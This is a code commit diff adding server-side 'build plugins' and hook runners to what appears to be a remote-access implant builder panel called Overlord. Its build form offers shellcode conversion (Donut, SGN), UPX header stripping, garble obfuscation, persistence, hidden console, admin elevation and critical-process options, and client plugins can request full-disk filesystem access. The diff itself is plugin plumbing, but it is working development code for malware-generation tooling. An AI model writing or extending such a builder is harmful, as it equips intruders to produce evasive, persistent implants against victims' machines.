build hook plugins
This commit is contained in:
@@ -43,11 +43,15 @@ const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
|
||||
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
|
||||
const startupNameError = document.getElementById("startup-name-error");
|
||||
const platformInputs = document.querySelectorAll('input[name="platform"]');
|
||||
const buildPluginsSection = document.getElementById("build-plugins-section");
|
||||
const buildPluginsList = document.getElementById("build-plugins-list");
|
||||
const buildPluginsCount = document.getElementById("build-plugins-count");
|
||||
|
||||
let currentServerVersion = null;
|
||||
let currentUserRole = null;
|
||||
let currentUsername = null;
|
||||
let showAllBuilds = false;
|
||||
let buildPlugins = [];
|
||||
|
||||
async function loadServerVersion() {
|
||||
try {
|
||||
@@ -123,6 +127,296 @@ function updateWindowsSectionVisibility() {
|
||||
windowsSection.classList.toggle("hidden", !hasWindows);
|
||||
}
|
||||
|
||||
function pluginSettingInputId(pluginId, key) {
|
||||
return `build-plugin-${pluginId}-${key}`.replace(/[^A-Za-z0-9_-]/g, "-");
|
||||
}
|
||||
|
||||
function buildPluginCurrentSettings(plugin) {
|
||||
const settings = {};
|
||||
for (const setting of plugin.build?.settings || []) {
|
||||
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${setting.key}"]`);
|
||||
if (!el) continue;
|
||||
if (setting.type === "boolean") settings[setting.key] = !!el.checked;
|
||||
else if (setting.type === "number") settings[setting.key] = Number(el.value || setting.default || 0);
|
||||
else settings[setting.key] = el.value;
|
||||
}
|
||||
return settings;
|
||||
}
|
||||
|
||||
function collectBuildPluginSettings() {
|
||||
const result = {};
|
||||
for (const plugin of buildPlugins) {
|
||||
const enabledEl = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
|
||||
result[plugin.id] = {
|
||||
enabled: enabledEl ? !!enabledEl.checked : plugin.build?.enabledByDefault !== false,
|
||||
settings: buildPluginCurrentSettings(plugin),
|
||||
};
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
function setBuildField(field, value) {
|
||||
const fieldMap = {
|
||||
useDonut: "#donut-mode",
|
||||
useLinuxShellcode: "#linux-shellcode-mode",
|
||||
shellcodeConsole: "#shellcode-console",
|
||||
useSgn: "#sgn-mode",
|
||||
enableUpx: 'input[name="enable-upx"]',
|
||||
upxStripHeaders: 'input[name="upx-strip-headers"]',
|
||||
obfuscate: 'input[name="obfuscate"]',
|
||||
garbleLiterals: 'input[name="garble-literals"]',
|
||||
garbleTiny: 'input[name="garble-tiny"]',
|
||||
disableCgo: 'input[name="disable-cgo"]',
|
||||
stripDebug: 'input[name="strip-debug"]',
|
||||
noPrinting: 'input[name="no-printing"]',
|
||||
enableWebrtc: 'input[name="enable-webrtc"]',
|
||||
enableWinRE: 'input[name="enable-winre"]',
|
||||
fetchPublicIP: 'input[name="fetch-public-ip"]',
|
||||
enablePersistence: 'input[name="enable-persistence"]',
|
||||
hideConsole: 'input[name="hide-console"]',
|
||||
requireAdmin: 'input[name="require-admin"]',
|
||||
criticalProcess: 'input[name="critical-process"]',
|
||||
outputName: "#output-name",
|
||||
outputExtension: "#output-extension",
|
||||
sgnIterations: "#sgn-iterations",
|
||||
sleepSeconds: "#sleep-seconds",
|
||||
};
|
||||
const selector = fieldMap[field] || `#${field}`;
|
||||
const el = document.querySelector(selector);
|
||||
if (!el) return;
|
||||
if (el.type === "checkbox") el.checked = !!value;
|
||||
else el.value = String(value ?? "");
|
||||
el.dispatchEvent(new Event("change", { bubbles: true }));
|
||||
el.dispatchEvent(new Event("input", { bubbles: true }));
|
||||
if (field === "useDonut") applyDonutMode(!!value);
|
||||
if (field === "useLinuxShellcode") applyLinuxShellcodeMode(!!value);
|
||||
if (field === "useSgn") applySgnMode(!!value);
|
||||
}
|
||||
|
||||
function getRequirementValue(req, plugin) {
|
||||
if (req.field) {
|
||||
const settings = collectFormSettings();
|
||||
return req.field.split(".").reduce((cur, key) => cur && cur[key], settings);
|
||||
}
|
||||
if (req.pluginSetting) {
|
||||
const settings = buildPluginCurrentSettings(plugin);
|
||||
return req.pluginSetting.split(".").reduce((cur, key) => cur && cur[key], settings);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
function buildRequirementMet(req, plugin) {
|
||||
if (Array.isArray(req.platforms)) {
|
||||
const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
|
||||
return req.platforms.some((platform) => selected.includes(platform));
|
||||
}
|
||||
const value = getRequirementValue(req, plugin);
|
||||
if (req.truthy === true && !value) return false;
|
||||
if (req.falsy === true && value) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "includes")) {
|
||||
if (!Array.isArray(value) || !value.includes(req.includes)) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function validateBuildPluginRequirements() {
|
||||
const messages = [];
|
||||
for (const plugin of buildPlugins) {
|
||||
const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`)?.checked;
|
||||
if (!enabled) continue;
|
||||
for (const req of plugin.build?.requires || []) {
|
||||
if (!buildRequirementMet(req, plugin)) {
|
||||
messages.push(req.message || `${plugin.name} has unmet build requirements`);
|
||||
}
|
||||
}
|
||||
}
|
||||
return messages;
|
||||
}
|
||||
|
||||
function renderBuildPluginSetting(plugin, setting) {
|
||||
const id = pluginSettingInputId(plugin.id, setting.key);
|
||||
const wrap = document.createElement("label");
|
||||
wrap.className = "flex flex-col gap-1 text-sm";
|
||||
|
||||
const label = document.createElement("span");
|
||||
label.className = "text-slate-300 font-medium";
|
||||
label.textContent = setting.label || setting.key;
|
||||
wrap.appendChild(label);
|
||||
|
||||
let input;
|
||||
if (setting.type === "boolean") {
|
||||
wrap.className = "flex items-center gap-2 text-sm text-slate-300";
|
||||
input = document.createElement("input");
|
||||
input.type = "checkbox";
|
||||
input.checked = !!setting.default;
|
||||
input.className = "w-4 h-4";
|
||||
wrap.innerHTML = "";
|
||||
wrap.appendChild(input);
|
||||
wrap.appendChild(label);
|
||||
} else if (setting.type === "select") {
|
||||
input = document.createElement("select");
|
||||
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
|
||||
for (const opt of setting.options || []) {
|
||||
const option = document.createElement("option");
|
||||
option.value = typeof opt === "string" ? opt : opt.value;
|
||||
option.textContent = typeof opt === "string" ? opt : (opt.label || opt.value);
|
||||
input.appendChild(option);
|
||||
}
|
||||
if (setting.default !== undefined) input.value = String(setting.default);
|
||||
wrap.appendChild(input);
|
||||
} else if (setting.type === "textarea") {
|
||||
input = document.createElement("textarea");
|
||||
input.rows = 3;
|
||||
input.value = setting.default !== undefined ? String(setting.default) : "";
|
||||
input.placeholder = setting.placeholder || "";
|
||||
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
|
||||
wrap.appendChild(input);
|
||||
} else {
|
||||
input = document.createElement("input");
|
||||
input.type = setting.type === "number" ? "number" : "text";
|
||||
if (setting.min !== undefined) input.min = String(setting.min);
|
||||
if (setting.max !== undefined) input.max = String(setting.max);
|
||||
input.value = setting.default !== undefined ? String(setting.default) : "";
|
||||
input.placeholder = setting.placeholder || "";
|
||||
input.className = "w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors";
|
||||
wrap.appendChild(input);
|
||||
}
|
||||
input.id = id;
|
||||
input.dataset.buildPluginId = plugin.id;
|
||||
input.dataset.buildSettingKey = setting.key;
|
||||
input.addEventListener("input", saveFormSettings);
|
||||
input.addEventListener("change", saveFormSettings);
|
||||
|
||||
if (setting.description) {
|
||||
const desc = document.createElement("span");
|
||||
desc.className = "text-xs text-slate-500";
|
||||
desc.textContent = setting.description;
|
||||
wrap.appendChild(desc);
|
||||
}
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function renderBuildPlugins() {
|
||||
if (!buildPluginsSection || !buildPluginsList) return;
|
||||
buildPluginsList.innerHTML = "";
|
||||
if (buildPlugins.length === 0) {
|
||||
buildPluginsSection.classList.add("hidden");
|
||||
return;
|
||||
}
|
||||
buildPluginsSection.classList.remove("hidden");
|
||||
if (buildPluginsCount) buildPluginsCount.textContent = `${buildPlugins.length} available`;
|
||||
|
||||
for (const plugin of buildPlugins) {
|
||||
const card = document.createElement("div");
|
||||
card.className = "rounded-lg border border-slate-700 bg-slate-800/40 p-3 flex flex-col gap-3";
|
||||
|
||||
const top = document.createElement("div");
|
||||
top.className = "flex items-start justify-between gap-3";
|
||||
const title = document.createElement("div");
|
||||
const nameEl = document.createElement("div");
|
||||
nameEl.className = "font-medium text-slate-100";
|
||||
nameEl.textContent = plugin.build?.label || plugin.name;
|
||||
title.appendChild(nameEl);
|
||||
if (plugin.build?.description) {
|
||||
const desc = document.createElement("div");
|
||||
desc.className = "text-xs text-slate-500 mt-1";
|
||||
desc.textContent = plugin.build.description;
|
||||
title.appendChild(desc);
|
||||
}
|
||||
const toggle = document.createElement("label");
|
||||
toggle.className = "flex items-center gap-2 text-xs text-slate-300 cursor-pointer";
|
||||
const cb = document.createElement("input");
|
||||
cb.type = "checkbox";
|
||||
cb.checked = plugin.build?.enabledByDefault !== false;
|
||||
cb.dataset.buildPluginEnable = plugin.id;
|
||||
cb.className = "w-4 h-4";
|
||||
cb.addEventListener("change", saveFormSettings);
|
||||
toggle.appendChild(cb);
|
||||
toggle.appendChild(document.createTextNode("Enabled"));
|
||||
top.appendChild(title);
|
||||
top.appendChild(toggle);
|
||||
card.appendChild(top);
|
||||
|
||||
if (plugin.build?.settings?.length) {
|
||||
const grid = document.createElement("div");
|
||||
grid.className = "grid grid-cols-1 md:grid-cols-2 gap-3";
|
||||
for (const setting of plugin.build.settings) grid.appendChild(renderBuildPluginSetting(plugin, setting));
|
||||
card.appendChild(grid);
|
||||
}
|
||||
|
||||
if (plugin.build?.actions?.length) {
|
||||
const actions = document.createElement("div");
|
||||
actions.className = "flex flex-wrap gap-2";
|
||||
for (const action of plugin.build.actions) {
|
||||
const btn = document.createElement("button");
|
||||
btn.type = "button";
|
||||
btn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-fuchsia-700 hover:bg-fuchsia-600 text-white text-sm transition-colors";
|
||||
const icon = document.createElement("i");
|
||||
icon.className = action.icon || "fa-solid fa-wand-magic-sparkles";
|
||||
const text = document.createElement("span");
|
||||
text.textContent = action.label;
|
||||
btn.appendChild(icon);
|
||||
btn.appendChild(text);
|
||||
if (action.description) btn.title = action.description;
|
||||
btn.addEventListener("click", () => {
|
||||
for (const req of action.requires || []) {
|
||||
if (!buildRequirementMet(req, plugin)) {
|
||||
alert(req.message || "This action requires other build settings first.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
for (const [field, value] of Object.entries(action.setBuild || {})) setBuildField(field, value);
|
||||
for (const [key, value] of Object.entries(action.setSettings || {})) {
|
||||
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
|
||||
if (!el) continue;
|
||||
if (el.type === "checkbox") el.checked = !!value;
|
||||
else el.value = String(value ?? "");
|
||||
el.dispatchEvent(new Event("change", { bubbles: true }));
|
||||
}
|
||||
saveFormSettings();
|
||||
});
|
||||
actions.appendChild(btn);
|
||||
}
|
||||
card.appendChild(actions);
|
||||
}
|
||||
buildPluginsList.appendChild(card);
|
||||
}
|
||||
}
|
||||
|
||||
function applyBuildPluginSettings(settings) {
|
||||
if (!settings || typeof settings !== "object") return;
|
||||
for (const plugin of buildPlugins) {
|
||||
const saved = settings[plugin.id];
|
||||
if (!saved || typeof saved !== "object") continue;
|
||||
const enabled = document.querySelector(`[data-build-plugin-enable="${plugin.id}"]`);
|
||||
if (enabled && saved.enabled !== undefined) enabled.checked = !!saved.enabled;
|
||||
for (const [key, value] of Object.entries(saved.settings || {})) {
|
||||
const el = document.querySelector(`[data-build-plugin-id="${plugin.id}"][data-build-setting-key="${key}"]`);
|
||||
if (!el) continue;
|
||||
if (el.type === "checkbox") el.checked = !!value;
|
||||
else el.value = String(value ?? "");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function loadBuildPlugins() {
|
||||
try {
|
||||
const res = await fetch("/api/build/plugins", { credentials: "include" });
|
||||
if (!res.ok) return;
|
||||
const data = await res.json();
|
||||
buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
|
||||
renderBuildPlugins();
|
||||
try {
|
||||
const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
|
||||
if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins);
|
||||
} catch {}
|
||||
} catch (err) {
|
||||
console.warn("Failed to load build plugins:", err);
|
||||
}
|
||||
}
|
||||
|
||||
const BUILD_SETTINGS_KEY = "overlord_build_settings";
|
||||
|
||||
function collectFormSettings() {
|
||||
@@ -169,6 +463,7 @@ function collectFormSettings() {
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
|
||||
useSgn: document.getElementById("sgn-mode")?.checked ?? false,
|
||||
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
|
||||
buildPlugins: collectBuildPluginSettings(),
|
||||
};
|
||||
}
|
||||
|
||||
@@ -247,6 +542,7 @@ function applyFormSettings(settings) {
|
||||
if (settings.useSgn) applySgnMode(true);
|
||||
}
|
||||
if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations);
|
||||
if (settings.buildPlugins !== undefined) applyBuildPluginSettings(settings.buildPlugins);
|
||||
|
||||
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
|
||||
const garbleContainer = document.getElementById("garble-settings-container");
|
||||
@@ -509,6 +805,7 @@ function applyLinuxShellcodeMode(enabled) {
|
||||
|
||||
restoreFormSettings();
|
||||
initAccordions();
|
||||
loadBuildPlugins();
|
||||
updateWindowsSectionVisibility();
|
||||
updateShellcodeCheckboxVisibility();
|
||||
init();
|
||||
@@ -1445,6 +1742,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
|
||||
outputSgnTxt: pendingSgnTxtBuild,
|
||||
uploadToFileShare: pendingUpload,
|
||||
buildPlugins: collectBuildPluginSettings(),
|
||||
};
|
||||
|
||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||
@@ -1486,6 +1784,12 @@ form?.addEventListener("submit", async (e) => {
|
||||
}
|
||||
}
|
||||
|
||||
const pluginRequirementErrors = validateBuildPluginRequirements();
|
||||
if (pluginRequirementErrors.length > 0) {
|
||||
alert(`Build plugin requirements are not met:\n\n${pluginRequirementErrors.map((msg) => `- ${msg}`).join("\n")}`);
|
||||
return;
|
||||
}
|
||||
|
||||
await startBuild(buildConfig);
|
||||
});
|
||||
|
||||
|
||||
@@ -114,9 +114,12 @@ function renderPlugins(plugins) {
|
||||
return;
|
||||
}
|
||||
for (const plugin of plugins) {
|
||||
const isServerOnly = plugin.runtime === "server";
|
||||
const card = document.createElement("div");
|
||||
card.className =
|
||||
"rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between";
|
||||
isServerOnly
|
||||
? "rounded-xl border border-fuchsia-800/60 bg-fuchsia-950/20 px-4 py-3 flex items-center justify-between"
|
||||
: "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between";
|
||||
const meta = document.createElement("div");
|
||||
const titleRow = document.createElement("div");
|
||||
titleRow.className = "flex items-center gap-2";
|
||||
@@ -137,13 +140,17 @@ function renderPlugins(plugins) {
|
||||
const isWasm = plugin.runtime === "wasm";
|
||||
const isV2 = Number(plugin.apiVersion || 1) >= 2;
|
||||
runtimeBadge.className = `inline-flex items-center gap-1 text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border ${
|
||||
isWasm
|
||||
isServerOnly
|
||||
? "text-fuchsia-200 border-fuchsia-700 bg-fuchsia-950/50"
|
||||
: isWasm
|
||||
? "text-cyan-300 border-cyan-700 bg-cyan-950/40"
|
||||
: isV2
|
||||
? "text-emerald-300 border-emerald-700 bg-emerald-950/40"
|
||||
: "text-slate-300 border-slate-700 bg-slate-900/60"
|
||||
}`;
|
||||
runtimeBadge.innerHTML = isWasm
|
||||
runtimeBadge.innerHTML = isServerOnly
|
||||
? '<i class="fa-solid fa-server"></i> Server Extension'
|
||||
: isWasm
|
||||
? '<i class="fa-solid fa-cube"></i> WASM 2.0'
|
||||
: isV2
|
||||
? '<i class="fa-solid fa-code"></i> Plugin 2.0'
|
||||
@@ -171,12 +178,37 @@ function renderPlugins(plugins) {
|
||||
needsBox.innerHTML = `
|
||||
<div class="${plugin.needsApproved ? "text-emerald-300" : "text-amber-300"}">
|
||||
<i class="fa-solid ${plugin.needsApproved ? "fa-lock-open" : "fa-lock"} mr-1"></i>
|
||||
${plugin.needsApproved ? "Needs approved" : "Needs approval before load"}
|
||||
${plugin.needsApproved ? "Needs approved" : isServerOnly ? "Needs approval before enable" : "Needs approval before load"}
|
||||
</div>
|
||||
${needLines.map((line) => `<div class="font-mono text-slate-400">${escapeHtml(line)}</div>`).join("")}
|
||||
`;
|
||||
meta.appendChild(needsBox);
|
||||
}
|
||||
if (isServerOnly) {
|
||||
const serverBox = document.createElement("div");
|
||||
serverBox.className = "mt-2 flex flex-wrap items-center gap-2 text-xs";
|
||||
const state = document.createElement("span");
|
||||
state.className = `inline-flex items-center gap-1 px-2 py-1 rounded-lg border ${
|
||||
plugin.serverRunning
|
||||
? "text-emerald-200 border-emerald-700 bg-emerald-950/40"
|
||||
: plugin.enabled
|
||||
? "text-amber-200 border-amber-700 bg-amber-950/40"
|
||||
: "text-slate-300 border-slate-700 bg-slate-900/60"
|
||||
}`;
|
||||
state.innerHTML = plugin.serverRunning
|
||||
? '<i class="fa-solid fa-circle-play"></i> Worker running'
|
||||
: plugin.enabled
|
||||
? '<i class="fa-solid fa-triangle-exclamation"></i> Enabled, worker stopped'
|
||||
: '<i class="fa-solid fa-circle-stop"></i> Disabled';
|
||||
serverBox.appendChild(state);
|
||||
if (plugin.build) {
|
||||
const buildBadge = document.createElement("span");
|
||||
buildBadge.className = "inline-flex items-center gap-1 px-2 py-1 rounded-lg border text-blue-200 border-blue-700 bg-blue-950/40";
|
||||
buildBadge.innerHTML = '<i class="fa-solid fa-hammer"></i> Build plugin';
|
||||
serverBox.appendChild(buildBadge);
|
||||
}
|
||||
meta.appendChild(serverBox);
|
||||
}
|
||||
const actions = document.createElement("div");
|
||||
actions.className = "flex items-center gap-2";
|
||||
|
||||
@@ -186,7 +218,11 @@ function renderPlugins(plugins) {
|
||||
(plugin.enabled
|
||||
? " border-emerald-600 text-emerald-200 bg-emerald-900/40"
|
||||
: " border-slate-600 text-slate-300 bg-slate-800/60");
|
||||
toggle.innerHTML = plugin.enabled
|
||||
toggle.innerHTML = isServerOnly
|
||||
? plugin.enabled
|
||||
? '<i class="fa-solid fa-power-off"></i> Disable'
|
||||
: '<i class="fa-solid fa-server"></i> Enable'
|
||||
: plugin.enabled
|
||||
? '<i class="fa-solid fa-toggle-on"></i> Enabled'
|
||||
: '<i class="fa-solid fa-toggle-off"></i> Disabled';
|
||||
toggle.addEventListener("click", async () => {
|
||||
@@ -219,7 +255,9 @@ function renderPlugins(plugins) {
|
||||
}
|
||||
});
|
||||
|
||||
const autoLoadBtn = document.createElement("button");
|
||||
let autoLoadBtn = null;
|
||||
if (!isServerOnly) {
|
||||
autoLoadBtn = document.createElement("button");
|
||||
const autoLoadDisabled = !plugin.enabled;
|
||||
autoLoadBtn.className =
|
||||
"inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
|
||||
@@ -270,6 +308,7 @@ function renderPlugins(plugins) {
|
||||
await refresh();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (needLines.length && !plugin.needsApproved) {
|
||||
const approveBtn = document.createElement("button");
|
||||
@@ -296,7 +335,7 @@ function renderPlugins(plugins) {
|
||||
await refresh();
|
||||
});
|
||||
actions.appendChild(toggle);
|
||||
actions.appendChild(autoLoadBtn);
|
||||
if (autoLoadBtn) actions.appendChild(autoLoadBtn);
|
||||
actions.appendChild(removeBtn);
|
||||
card.appendChild(meta);
|
||||
card.appendChild(actions);
|
||||
@@ -339,7 +378,7 @@ function showNeedsApprovalModal(plugin, needs, needsHash, afterApprove) {
|
||||
<i class="fa-solid fa-key text-2xl text-amber-300"></i>
|
||||
<h3 class="text-lg font-semibold text-slate-100">Approve Plugin Needs</h3>
|
||||
</div>
|
||||
<p class="text-sm text-slate-300 mb-3"><strong class="text-slate-100">${escapeHtml(plugin.name || plugin.id)}</strong> is asking for filesystem bridges before it can be sent to clients.</p>
|
||||
<p class="text-sm text-slate-300 mb-3"><strong class="text-slate-100">${escapeHtml(plugin.name || plugin.id)}</strong> is asking for filesystem bridges before it can ${plugin.runtime === "server" ? "be enabled" : "be sent to clients"}.</p>
|
||||
<div class="rounded-lg border border-slate-700 bg-slate-950/70 p-3 mb-3 space-y-2">
|
||||
${needLines.length ? needLines.map((line) => `<div class="text-xs font-mono text-slate-300">${escapeHtml(line)}</div>`).join("") : '<div class="text-sm text-slate-400">No filesystem needs declared.</div>'}
|
||||
</div>
|
||||
|
||||
@@ -930,6 +930,23 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- == Build Plugin Settings (loaded from server-side plugins) == -->
|
||||
<div id="build-plugins-section" class="accordion-section border border-slate-800 rounded-lg overflow-hidden hidden" data-open="false">
|
||||
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||
<i class="fa-solid fa-puzzle-piece text-fuchsia-400"></i>
|
||||
Build Plugins
|
||||
<span id="build-plugins-count" class="text-xs text-slate-500 font-normal"></span>
|
||||
</span>
|
||||
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||
</button>
|
||||
<div class="accordion-body">
|
||||
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-3">
|
||||
<div id="build-plugins-list" class="flex flex-col gap-3"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Build Button -->
|
||||
<div class="flex gap-2">
|
||||
<button type="submit" id="build-btn"
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
<div class="max-w-5xl mx-auto flex flex-col gap-5">
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold">Plugins</h1>
|
||||
<p class="text-slate-400">Upload zip bundles and manage plugin UI</p>
|
||||
<p class="text-slate-400">Upload zip bundles and manage client plugins or server extensions</p>
|
||||
</div>
|
||||
|
||||
<section class="rounded-2xl border border-slate-800 bg-slate-900/50 p-5">
|
||||
|
||||
@@ -303,6 +303,7 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
|
||||
generateBuildMutex,
|
||||
sanitizeOutputName,
|
||||
fileShareRoot: FILE_SHARE_ROOT,
|
||||
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
|
||||
});
|
||||
|
||||
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
|
||||
@@ -496,6 +497,7 @@ async function startServer() {
|
||||
startBuildProcess,
|
||||
sanitizeMutex,
|
||||
allowedPlatforms: ALLOWED_PLATFORMS,
|
||||
listPluginManifests,
|
||||
},
|
||||
deploy: {
|
||||
DEPLOY_ROOT,
|
||||
|
||||
@@ -335,7 +335,7 @@ export type PluginManifest = {
|
||||
id: string;
|
||||
name: string;
|
||||
apiVersion?: number;
|
||||
runtime?: "native" | "wasm" | string;
|
||||
runtime?: "native" | "wasm" | "server" | string;
|
||||
version?: string;
|
||||
description?: string;
|
||||
binary?: string;
|
||||
@@ -352,9 +352,54 @@ export type PluginManifest = {
|
||||
label?: string;
|
||||
icon?: string;
|
||||
};
|
||||
build?: PluginBuildIntegration;
|
||||
hasServer?: boolean;
|
||||
};
|
||||
|
||||
export type PluginBuildIntegration = {
|
||||
enabledByDefault?: boolean;
|
||||
label?: string;
|
||||
description?: string;
|
||||
settings?: PluginBuildSetting[];
|
||||
actions?: PluginBuildAction[];
|
||||
requires?: PluginBuildRequirement[];
|
||||
};
|
||||
|
||||
export type PluginBuildSetting = {
|
||||
key: string;
|
||||
label?: string;
|
||||
type?: "string" | "number" | "boolean" | "select" | "textarea" | string;
|
||||
default?: unknown;
|
||||
placeholder?: string;
|
||||
description?: string;
|
||||
required?: boolean;
|
||||
min?: number;
|
||||
max?: number;
|
||||
options?: Array<{ value: string; label?: string } | string>;
|
||||
};
|
||||
|
||||
export type PluginBuildAction = {
|
||||
id: string;
|
||||
label: string;
|
||||
icon?: string;
|
||||
description?: string;
|
||||
setBuild?: Record<string, unknown>;
|
||||
setSettings?: Record<string, unknown>;
|
||||
requires?: PluginBuildRequirement[];
|
||||
};
|
||||
|
||||
export type PluginBuildRequirement = {
|
||||
field?: string;
|
||||
pluginSetting?: string;
|
||||
equals?: unknown;
|
||||
notEquals?: unknown;
|
||||
truthy?: boolean;
|
||||
falsy?: boolean;
|
||||
includes?: unknown;
|
||||
platforms?: string[];
|
||||
message?: string;
|
||||
};
|
||||
|
||||
export type PluginFileNeed = {
|
||||
bucket: "home" | "desktop" | "documents" | "downloads" | "temp" | "appData" | "pluginData" | "fullDisk" | string;
|
||||
access: Array<"read" | "write" | "list" | "delete" | "mkdir" | string>;
|
||||
|
||||
@@ -122,8 +122,110 @@ type BuildProcessConfig = {
|
||||
iosBundleId?: string;
|
||||
fetchPublicIP?: boolean;
|
||||
uploadToFileShare?: boolean;
|
||||
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
|
||||
};
|
||||
|
||||
type BuildHookRunner = (
|
||||
hook: string,
|
||||
payload: unknown,
|
||||
) => Promise<Array<{ pluginId: string; result: unknown }>>;
|
||||
|
||||
type BuildHookMessage = {
|
||||
text: string;
|
||||
level?: "debug" | "info" | "warn" | "error" | "success";
|
||||
};
|
||||
|
||||
function cloneForHook<T>(value: T): T {
|
||||
return JSON.parse(JSON.stringify(value ?? null));
|
||||
}
|
||||
|
||||
function isRecord(value: unknown): value is Record<string, any> {
|
||||
return !!value && typeof value === "object" && !Array.isArray(value);
|
||||
}
|
||||
|
||||
function normalizeHookMessages(result: unknown): BuildHookMessage[] {
|
||||
if (!isRecord(result)) return [];
|
||||
const rawMessages = Array.isArray(result.messages)
|
||||
? result.messages
|
||||
: typeof result.message === "string"
|
||||
? [result.message]
|
||||
: [];
|
||||
const messages: BuildHookMessage[] = [];
|
||||
for (const raw of rawMessages) {
|
||||
if (typeof raw === "string" && raw.trim()) {
|
||||
messages.push({ text: raw.trim(), level: "info" });
|
||||
} else if (isRecord(raw) && typeof raw.text === "string" && raw.text.trim()) {
|
||||
const level = typeof raw.level === "string" ? raw.level : "info";
|
||||
messages.push({
|
||||
text: raw.text.trim(),
|
||||
level: ["debug", "info", "warn", "error", "success"].includes(level) ? level as BuildHookMessage["level"] : "info",
|
||||
});
|
||||
}
|
||||
}
|
||||
return messages;
|
||||
}
|
||||
|
||||
async function runBuildHooks(
|
||||
hookRunner: BuildHookRunner | undefined,
|
||||
hook: string,
|
||||
payload: unknown,
|
||||
sendToStream: (data: any) => void,
|
||||
): Promise<Array<{ pluginId: string; result: unknown }>> {
|
||||
if (!hookRunner) return [];
|
||||
const results = await hookRunner(hook, cloneForHook(payload));
|
||||
for (const item of results) {
|
||||
for (const message of normalizeHookMessages(item.result)) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `[plugin:${item.pluginId}] ${message.text}\n`,
|
||||
level: message.level || "info",
|
||||
});
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
function mergeBuildConfigPatch(config: BuildProcessConfig, result: unknown): BuildProcessConfig {
|
||||
if (!isRecord(result)) return config;
|
||||
const patch = isRecord(result.config) ? result.config : isRecord(result.configPatch) ? result.configPatch : undefined;
|
||||
if (!patch) return config;
|
||||
return { ...config, ...patch };
|
||||
}
|
||||
|
||||
function buildTransformHookPayload(args: {
|
||||
buildId: string;
|
||||
stage: string;
|
||||
platform: string;
|
||||
os: string;
|
||||
arch: string;
|
||||
targetKey: string;
|
||||
outDir: string;
|
||||
clientDir: string;
|
||||
filename: string;
|
||||
filePath: string;
|
||||
size?: number;
|
||||
config: BuildProcessConfig;
|
||||
extra?: Record<string, unknown>;
|
||||
}) {
|
||||
return {
|
||||
buildId: args.buildId,
|
||||
stage: args.stage,
|
||||
platform: args.platform,
|
||||
os: args.os,
|
||||
arch: args.arch,
|
||||
targetKey: args.targetKey,
|
||||
outDir: args.outDir,
|
||||
clientDir: args.clientDir,
|
||||
file: {
|
||||
filename: args.filename,
|
||||
path: args.filePath,
|
||||
platform: args.platform,
|
||||
size: args.size ?? (fs.existsSync(args.filePath) ? fs.statSync(args.filePath).size : 0),
|
||||
},
|
||||
config: args.config,
|
||||
...(args.extra || {}),
|
||||
};
|
||||
}
|
||||
|
||||
function stripUpxHeaders(filePath: string): boolean {
|
||||
try {
|
||||
@@ -154,6 +256,7 @@ type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
fileShareRoot?: string;
|
||||
runBuildHookForAll?: BuildHookRunner;
|
||||
};
|
||||
|
||||
function guessMimeTypeForUpload(filename: string): string {
|
||||
